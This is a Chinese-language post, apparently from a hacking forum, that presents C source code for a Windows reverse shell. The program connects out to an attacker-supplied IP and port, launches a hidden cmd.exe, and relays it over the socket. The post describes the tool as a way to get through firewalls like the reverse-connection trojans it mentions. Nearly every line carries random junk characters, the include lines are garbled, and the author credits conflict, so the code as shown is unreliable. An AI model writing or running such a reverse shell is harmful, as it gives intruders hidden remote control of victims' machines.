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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0Z&ua  
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/* ============================== 9cJ1J7y  
Rebound port in Windows NT |e+r|i]  
By wind,2006/7 Evy_I+l  
===============================*/ 'u84d=*l  
#include "">{8  
#include >V$ S\"  
o ?`LZd:{  
#pragma comment(lib,"wsock32.lib") $a.,; :  
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void OutputShell(); !M(3[(Ni  
SOCKET sClient; {+CBThC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; " Z2D@l  
Gl]z@ZXWIw  
void main(int argc,char **argv) Bgf'Hm% r  
{ ai$s  
WSADATA stWsaData; pm>$'z!.):  
int nRet; 3[cGSI"+  
SOCKADDR_IN stSaiClient,stSaiServer; u+Sj#iZ  
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if(argc != 3) 3:mZ1+  
{ /DGEI&}&:u  
printf("Useage:\n\rRebound DestIP DestPort\n"); T/nG\WZbZn  
return; ^o-)y"GJ  
} ~LU$ no^  
w^=uq3X?  
WSAStartup(MAKEWORD(2,2),&stWsaData); M=t;t0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,1e\}^  
"x4}FQ  
stSaiClient.sin_family = AF_INET; T%TfkQ__d  
stSaiClient.sin_port = htons(0); ]x1o (~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SFkB,)Z N  
Rz:1(^oA  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {osadXd C  
{ uMb[0-5  
printf("Bind Socket Failed!\n"); >mUSRf4  
return; lDVw2J'p  
} &j!q9F  
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stSaiServer.sin_family = AF_INET; DPBWw[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a2.@Zyz  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m_C#fR /I  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rGgP9 (  
{ HvJ-P#  
printf("Connect Error!"); hnTk)nq5#  
return; |576)  
} )Pj4_$uM  
OutputShell(); 6|B;C  
} ^"GDaMF  
~@%#eg  
void OutputShell() 6 vr8rJ-  
{ nPg,(8Tt  
char szBuff[1024]; YtFH@M  
SECURITY_ATTRIBUTES stSecurityAttributes; 3hPp1wZd   
OSVERSIONINFO stOsversionInfo; K0^Tg+U($p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `6FH@" |I  
STARTUPINFO stStartupInfo; f =kt0  
char *szShell; [t+qYe8  
PROCESS_INFORMATION stProcessInformation; 0fAo&B  
unsigned long lBytesRead; [{-5  
wCw_aXqq  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); byN4?3 F  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n<3{QqF  
stSecurityAttributes.lpSecurityDescriptor = 0; DP08$Iq  
stSecurityAttributes.bInheritHandle = TRUE;  hpOK9  
7f]O /  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0RGqpJxk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dz,4);Mg  
1pJ?YV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5$%CRm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~^v*f   
stStartupInfo.wShowWindow = SW_HIDE; / 0y5/  
stStartupInfo.hStdInput = hReadPipe; =(Pk7{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  IcUE=J  
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GetVersionEx(&stOsversionInfo); <qjolMO`  
'~n=<Y  
switch(stOsversionInfo.dwPlatformId) -}KW"#9c  
{ _[{oK G^u  
case 1: _64<[2  
szShell = "command.com"; ds:&{~7L<T  
break; .s`7n *xz  
default: 5O]eD84B  
szShell = "cmd.exe"; 9RmdQ]1n4  
break; K/|qn)  
} t6! B  
QB6. o6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J  7]LMw7  
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send(sClient,szMsg,77,0); `XK#sCC  
while(1) Wf>=^ ~`  
{ 2^ kK2D$o  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I!Uj~jV  
if(lBytesRead) |v@ zyOq&b  
{ Dfw%Bu  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K(heeZUt  
send(sClient,szBuff,lBytesRead,0); [5wU0~>'  
} ucX!6)Op  
else ~NZ}@J{00_  
{ 7~2V5 @{<  
lBytesRead=recv(sClient,szBuff,1024,0); y7-dae k  
if(lBytesRead<=0) break; ,Lr}P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TF-a 1z  
} mExJ--}  
} #bCzWg  
#waK^B)<a  
return; f ( ug3(j  
}
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